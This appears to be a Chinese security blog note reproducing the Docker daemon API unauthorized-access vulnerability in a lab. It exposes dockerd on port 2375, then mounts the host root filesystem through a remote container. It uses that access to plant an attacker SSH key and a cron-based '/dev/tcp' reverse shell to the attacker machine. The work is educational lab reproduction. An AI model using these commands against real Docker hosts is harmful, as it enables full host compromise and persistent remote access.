云安全笔记-Docker daemon api 未授权访问漏洞复现及利用

文章详细介绍了如何通过DockerAPI设置未授权访问,允许远程操作Docker,展示了如何检查漏洞、利用漏洞获取主机shell,以及如何通过写入计划任务反弹shell。同时,提到了防火墙配置对安全性的影响。

漏洞简介

该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。

环境搭建

为了更贴近实战,所以不使用vulhub搭建docker,直接在宿主机上直接搭建。
首先虚拟机创建一台linux
机器正常安装好docker
接着进行文件备份

cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

接着编辑

vim /lib/systemd/system/docker.service

把下面一段代码加入文件结尾

[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

保存并退出编辑后,重载守护进程以及重启Docker:

sudo systemctl daemon-reload
sudo service docker restart

通过执行命令查看是否开放了远程访问端口:

systemctl status docker.service

如果本地搭建访问不了的话,很大原因是因为防火墙未放行2375端口,放行端口后就可以在其他机器访问到了。

漏洞检测+利用

访问192.168.1.11:2375/version,若能访问,证明存在未授权访问漏洞。

目标机:192.168.1.11
攻击机:192.168.1.10

写入密钥免密登陆

在已经安装docker的vps上,使用-H参数连接目标主机的docker,使用images命令查询目标系统存在的镜像。

使用docker命令创建一个容器,并将宿主机的磁盘挂载到容器中

docker -H tcp://192.168.1.11:2375 run -it -v /:/mnt a98b9e39cc6d /bin/bash

a98b9e39cc6d 是镜像的ID
这条命令的意思是启动一个image ID 为a98b9e39cc6d的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

如果目标机器上没有镜像就需要先pull一个镜像到目标机上。

docker -H tcp://192.168.1.11:2375 pull busybox

这个镜像很小,方便下载。

有镜像之后就很方便利用了。

docker -H tcp://192.168.1.11:2375 run -it -v /:/mnt 62aedd01bd85 /bin/bash

启动之后就会获得该容器宿主机的shell

因为我们把主机的根目录挂在到了这个容器的/mnt容器下,所以我们可以直接往主机的/root/.ssh目录下写authorized_keys

我们将攻击机的公钥写入authorized_keys

成功免密登陆目标服务器

写入计划任务反弹shell

前面的操作都一致
唯一不同的就是写的命令和路径
有很多种写计划任务的方法
我这里是写入的/var/spool/cron下
把下面一句话写入目录的root文件里

*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/44444 0>&1

然后开启监听44444端口,稍等一分钟shell就会反弹回来。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值